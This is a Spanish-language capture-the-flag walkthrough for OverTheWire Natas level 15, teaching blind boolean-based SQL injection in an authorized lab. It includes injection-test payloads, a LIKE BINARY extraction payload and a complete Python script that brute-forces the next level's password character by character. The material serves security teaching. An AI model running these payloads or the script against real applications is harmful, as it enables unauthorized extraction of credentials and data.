Natas Nivel 15 a 16

Nivel oficial: http://natas15.natas.labs.overthewire.org

Este nivel introduce SQL injection ciega (blind SQLi), una de las variantes mas peligrosas y comunes en aplicaciones reales: no hay salida de datos visible, solo una senyal binaria (existe / no existe). La contrasena de natas16 se extrae deduciendo caracter a caracter mediante ese unico bit de informacion.

Este ejercicio se realiza en el entorno de laboratorio legal y autorizado de OverTheWire (https://overthewire.org/wargames/natas/).


Objetivo

Extraer la contrasena de natas16 consultando un endpoint que solo responde "This user exists." o "This user doesn't exist.", sin mostrar ningun dato de la base de datos.


Que aprendes

Concepto / ComandoPara que sirve
LIKE BINARY (MySQL)Comparacion de cadenas sensible a mayusculas/minusculas
Blind boolean-based SQLiExfiltrar datos cuando el unico feedback es verdadero/falso
requests (Python)Automatizar peticiones HTTP con sesion autenticada
Fuerza bruta de prefijoIr construyendo la cadena correcta caracter a caracter
AND como oraculoEncadenar condicion controlada al WHERE para obtener el bit

Concepto clave: blind boolean-based SQLi

En una SQLi clasica el atacante lee datos directamente en la respuesta. En la variante ciega (blind) eso no es posible: el codigo de la aplicacion solo bifurca entre dos mensajes fijos. La tecnica de exfiltracion aprovecha esa bifurcacion como un oraculo:

  1. Se inyecta una condicion adicional que es verdadera si un caracter especifico esta en la posicion correcta.
  2. Si la respuesta cambia a “existe” → acierto; si no → fallo.
  3. Repitiendo esto para cada posicion y cada caracter del alfabeto se reconstruye la cadena completa.

LIKE BINARY es imprescindible en MySQL porque LIKE por defecto es case-insensitive; sin BINARY no se podria distinguir 'a' de 'A', lo que duplicaria el espacio de busqueda y produciria falsos positivos.


Paso a paso

1. Reconocimiento del endpoint

Accede al nivel con las credenciales de natas15 (<pass_natas15>):

http://natas15.natas.labs.overthewire.org

El formulario acepta un campo username. Prueba un usuario conocido:

natas16

La respuesta es "This user exists." → la consulta SQL interna es algo como:

SELECT * FROM users WHERE username = '$input'

2. Confirmar que hay inyeccion

Introduce el siguiente payload en el campo username:

natas16" AND "1"="1

Respuesta esperada: "This user exists." (condicion siempre verdadera).

natas16" AND "1"="2

Respuesta esperada: "This user doesn't exist." (condicion siempre falsa).

Ese comportamiento diferenciado confirma la inyeccion booleana.

3. Payload de exfiltracion caracter a caracter

Para comprobar si la contrasena empieza por la letra a:

natas16" AND password LIKE BINARY "a%

La consulta resultante en el servidor es equivalente a:

SELECT * FROM users
WHERE username = 'natas16'
  AND password LIKE BINARY 'a%'

Si responde “exists” → el primer caracter es a. Se va alargando el prefijo confirmado hasta tener la contrasena completa.

4. Script Python para automatizar la exfiltracion

import requests
import string
 
URL    = "http://natas15.natas.labs.overthewire.org/index.php"
CREDS  = ("natas15", "<pass_natas15>")
CHARS  = string.ascii_letters + string.digits   # A-Za-z0-9
TARGET = "natas16"
 
def check(prefix: str) -> bool:
    payload = f'{TARGET}" AND password LIKE BINARY "{prefix}%'
    r = requests.post(
        URL,
        data={"username": payload},
        auth=CREDS,
        timeout=10,
    )
    return "This user exists." in r.text
 
found = ""
while True:
    advanced = False
    for c in CHARS:
        candidate = found + c
        if check(candidate):
            found = candidate
            print(f"[+] Progreso: {found}")
            advanced = True
            break
    if not advanced:
        # No se encontro extension: la contrasena esta completa
        break
 
print(f"\n[*] Contrasena de natas16: {found}")

Ejecuta el script (asegurate de tener requests instalado):

pip install requests
python3 natas15_exploit.py

La salida ira mostrando el prefijo confirmado hasta obtener la contrasena completa (<pass_natas16>).


Por que funciona

La aplicacion construye la query concatenando directamente la entrada del usuario sin parametrizar ni escapar las comillas dobles. Al inyectar AND password LIKE BINARY "prefijo%" se anula el cierre original de la cadena y se agrega una condicion extra que el motor MySQL evalua sobre la fila real de natas16. El % es el comodin SQL de “cualquier sufijo”, de modo que LIKE BINARY "abc%" es verdadero si y solo si la contrasena empieza por abc. Iterando posicion a posicion se reconstruye la cadena sin necesidad de leer ni una sola columna directamente.


Errores comunes

ErrorCausaSolucion
Script no distingue mayusculas/minusculasUsar LIKE sin BINARYSiempre incluir LIKE BINARY en el payload
"This user exists." nunca apareceError en el texto de comparacion (espacios, punto)Revisar el HTML crudo con r.text y ajustar el literal buscado
Timeout frecuenteDemasiadas peticiones rapidasAnadir time.sleep(0.05) entre llamadas o reducir CHARS al alfabeto ya confirmado
Prefijo se corta antes de terminarEl bucle sale al no encontrar extension pero la pass tiene mas caracteresVerificar que el alfabeto CHARS incluye todos los caracteres posibles; las contrasenas de Natas suelen ser alfanumericas de 32 caracteres

Pasar al siguiente nivel

La contrasena obtenida (<pass_natas16>) se usa para acceder a:

http://natas16.natas.labs.overthewire.org

Usuario: natas16 | Contrasena: <pass_natas16>


Conexiones